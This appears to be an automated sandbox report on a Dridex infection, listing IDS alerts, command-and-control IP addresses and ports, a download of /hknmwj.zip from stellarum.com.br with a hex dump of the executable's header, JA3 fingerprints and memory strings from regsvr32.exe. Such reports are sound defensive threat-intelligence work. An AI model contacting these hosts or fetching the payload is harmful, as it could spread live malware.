Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49297
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49298
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49296
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49300
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49302
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49301
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49303
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49303
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49304
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49306
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49307
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49308
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49308
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49311
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49313
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49313
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49314
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49315
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49315
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49316
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49316
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49318
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49317
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49319
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 194.225.58.214:443 -> 192.168.2.22:49320
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49321
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49322
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49326
Source: Traffic Snort IDS: 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 198.57.200.100:3786 -> 192.168.2.22:49326
Source: Traffic Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 211.110.44.63:5353 -> 192.168.2.22:49325
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 69.164.207.140:3388
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 198.57.200.100:3786
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Jan 2021 15:03:27 GMTServer: ApacheLast-Modified: Sat, 19 May 2018 08:09:45 GMTAccept-Ranges: bytesContent-Length: 856064Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/zipData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2b f5 15 8c 6f 94 7b df 6f 94 7b df 6f 94 7b df 0a f2 78 de 62 94 7b df 0a f2 7e de e4 94 7b df 0a f2 7f de 78 94 7b df a4 fb 7e de 4d 94 7b df a4 fb 7f de 7f 94 7b df a4 fb 78 de 79 94 7b df db 08 94 df 6a 94 7b df 6f 94 7a df 3b 94 7b df a4 fb 72 de 6e 94 7b df a4 fb 7b de 6e 94 7b df a4 fb 84 df 6e 94 7b df a4 fb 79 de 6e 94 7b df 52 69 63 68 6f 94 7b df 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 df 94 d5 5d 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1a 00 74 07 00 00 e4 06 00 00 00 00 00 08 d2 05 00 00 10 00 00 00 90 07 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 0e 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 d0 df 0c 00 64 00 00 00 34 e0 0c 00 50 00 00 00 00 50 0e 00 08 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0e 00 08 27 00 00 7c bb 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 bb 0c 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 07 00 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 09 72 07 00 00 10 00 00 00 74 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ae 58 05 00 00 90 07 00 00 5a 05 00 00 78 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ac 5b 01 00 00 f0 0c 00 00 10 00 00 00 d2 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 08 05 00 00 00 50 0e 00 00 06 00 00 00 e2 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 08 27 00 00 00 60 0e 00 00 28 00 00 00 e8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 69.164.207.140 69.164.207.140
Source: Joe Sandbox View IP Address: 211.110.44.63 211.110.44.63
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Source: Joe Sandbox View JA3 fingerprint: eb88d0b3e1961a0562f006e5ce2a0b87
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /hknmwj.zip HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: stellarum.com.brConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49176 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49181 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49185 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49190 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49194 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49198 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49202 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49206 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49211 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49214 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49220 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49222 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49228 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49229 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49235 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49237 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49239 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49247 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49250 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49251 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49259 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49263 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49264 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49265 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49270 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49275 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49281 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49282 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49288 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49294 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49298 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49300 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49302 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49307 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49314 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49318 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49319 version: TLS 1.0
Source: unknown HTTPS traffic detected: 194.225.58.214:443 -> 192.168.2.22:49320 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A64C1FA3.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /hknmwj.zip HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: stellarum.com.brConnection: Keep-Alive
Source: regsvr32.exe, 00000006.00000002.2433177539.0000000000369000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433149184.00000000003C1000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2484294438.000000000051F000.00000004.00000020.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 0000000B.00000002.2447836285.00000000006E6000.00000004.00000020.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comF equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000006.00000002.2433177539.0000000000369000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433149184.00000000003C1000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2447836285.00000000006E6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2484294438.000000000051F000.00000004.00000020.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: unknown DNS traffic detected: queries for: qsf.surfescape.net
Source: regsvr32.exe, 00000009.00000002.2433149184.00000000003C1000.00000004.00000020.sdmp String found in binary or memory: http://crl.co
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabEK
Source: regsvr32.exe, 00000011.00000002.2492560886.000000000053C000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabb
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enL
Source: regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enU
Source: regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enj
Source: regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enn
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000002.00000002.2105222828.0000000001D00000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2120262017.0000000001CE0000.00000002.00000001.sdmp, regsvr32.exe, 00000007.00000002.2121003757.0000000001D00000.00000002.00000001.sdmp, regsvr32.exe, 0000000A.00000002.2458603358.0000000001DA0000.00000002.00000001.sdmp, regsvr32.exe, 0000000B.00000002.2510481818.0000000001DF0000.00000002.00000001.sdmp, regsvr32.exe, 0000000E.00000002.2253344660.0000000001CA0000.00000002.00000001.sdmp, regsvr32.exe, 0000000F.00000002.2253526662.0000000001DF0000.00000002.00000001.sdmp, regsvr32.exe, 00000010.00000002.2440450809.0000000001CB0000.00000002.00000001.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000006.00000002.2433198879.0000000000376000.00000004.00000020.sdmp, regsvr32.exe, 00000009.00000002.2433245753.0000000000409000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2452450039.00000000006F6000.00000004.00000020.sdmp, regsvr32.exe, 00000011.00000002.2503460777.000000000055E000.00000004.00000020.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000009.00000002.2433149184.00000000003C1000.00000004.00000020.sdmp, regsvr32.exe, 0000000B.00000002.2447836285.00000000006E6000.00000004.00000020.sdmp String found in binary or memory: https://194.225.58.214/
Source: regsvr32.exe, 00000011.00000002.2484294438.000000000051F000.00000004.00000020.sdmp String found in binary or memory: https://194.225.58.214/C
Source: regsvr32.exe, 00000006.00000002.2433079529.0000000000350000.00000004.00000020.sdmp String found in binary or memory: https://194.225.58.214/P
Source: regsvr32.exe, 00000011.00000002.2484294438.000000000051F000.00000004.00000020.sdmp String found in binary or memory: https://194.225.58.214/X
Source: regsvr32.exe, 00000006.00000002.2433079529.0000000000350000.00000004.00000020.sdmp String found in binary or memory: https://194.225.58.214/Y
